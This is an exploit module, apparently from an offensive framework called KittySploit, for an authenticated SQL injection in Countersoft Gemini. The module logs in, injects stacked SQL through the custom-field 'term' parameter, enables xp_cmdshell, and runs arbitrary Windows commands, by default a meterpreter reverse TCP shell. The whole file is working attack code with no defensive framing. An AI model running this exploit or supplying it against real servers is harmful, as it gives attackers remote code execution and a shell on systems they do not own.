Countersoft Gemini SQL injection xp_cmdshell RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Countersoft Gemini authenticated SQLi to xp_cmdshell RCE."""

from __future__ import annotations

import re
from urllib.parse import urlencode

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Countersoft Gemini SQL injection xp_cmdshell RCE",
        "description": (
            "After /account/login, stacked SQL in GetCustomFieldValue term "
            "enables xp_cmdshell (Windows, blind marker file)."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.WINDOWS,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/windows/meterpreter_reverse_tcp",
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["countersoft", "gemini", "sqli", "rce", "authenticated"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/countersoft_gemini_sqli_xp_cmdshell_detect"],
            },
        },
    }

    port = OptPort(443, "Gemini HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=False)
    username = OptString("", "Gemini username", required=True)
    password = OptString("", "Gemini password", required=True)
    workspace_id = OptString("1", "Workspace id in /workspace/{id}/...", required=False)
    custom_field = OptString("1", "Custom field id (cf query param)", required=False)
    marker_file = OptString(r"C:\Windows\Temp\gemini_rce_marker.txt", "Blind output file", required=False)

    def _login(self) -> bool:
        body = urlencode(
            {
                "returnUrl": "",
                "Username": str(self.username or ""),
                "regular-password": str(self.password or ""),
                "rememberMe": "true",
                "email": "",
            }
        )
        resp = self.http_request(
            "POST",
            "/account/login",
            data=body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
            allow_redirects=True,
        )
        return bool(resp and int(resp.status_code or 0) < 500)

    def _inject_term(self, term: str) -> tuple[int, int]:
        wid = str(self.workspace_id or "1")
        cf = str(self.custom_field or "1")
        path = f"/workspace/{wid}/item/get/customfield?" + urlencode({"term": term, "cf": cf})
        resp = self.http_request("GET", path, session=True)
        if not resp:
            return -1, 0
        return int(resp.status_code or 0), len(resp.content or resp.text or "")

    def execute(self, cmd: str) -> str:
        if not self._login():
            return "account/login failed"
        marker = str(self.marker_file or r"C:\Windows\Temp\gemini_rce_marker.txt")
        full_cmd = f"{cmd} > {marker}"
        sql_cmd = full_cmd.replace("'", "''")
        payload = (
            "x'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;"
            " EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;"
            f" EXEC xp_cmdshell '{sql_cmd}'; --"
        )
        status, blen = self._inject_term(payload)
        if status == 200:
            return f"xp_cmdshell stack HTTP 200 (body {blen} bytes); read {marker} on target"
        return f"injection HTTP {status} (body {blen} bytes); may still run blind"

    def check(self):
        if self._login():
            st, _ = self._inject_term("test")
            if st == 200:
                return {"vulnerable": True, "reason": "Authenticated customfield endpoint OK", "confidence": "medium"}
        return {"vulnerable": False, "reason": "Login or workspace endpoint failed", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        if not str(self.username or "").strip():
            print_error("Set Gemini credentials")
            return False
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False
        print_status("Stacked SQLi → xp_cmdshell")
        print_info(self.execute(shell))
        self.vulnerable()
        if shell and re.search(r"meterpreter|reverse|powershell", shell, re.I):
            return True
        return True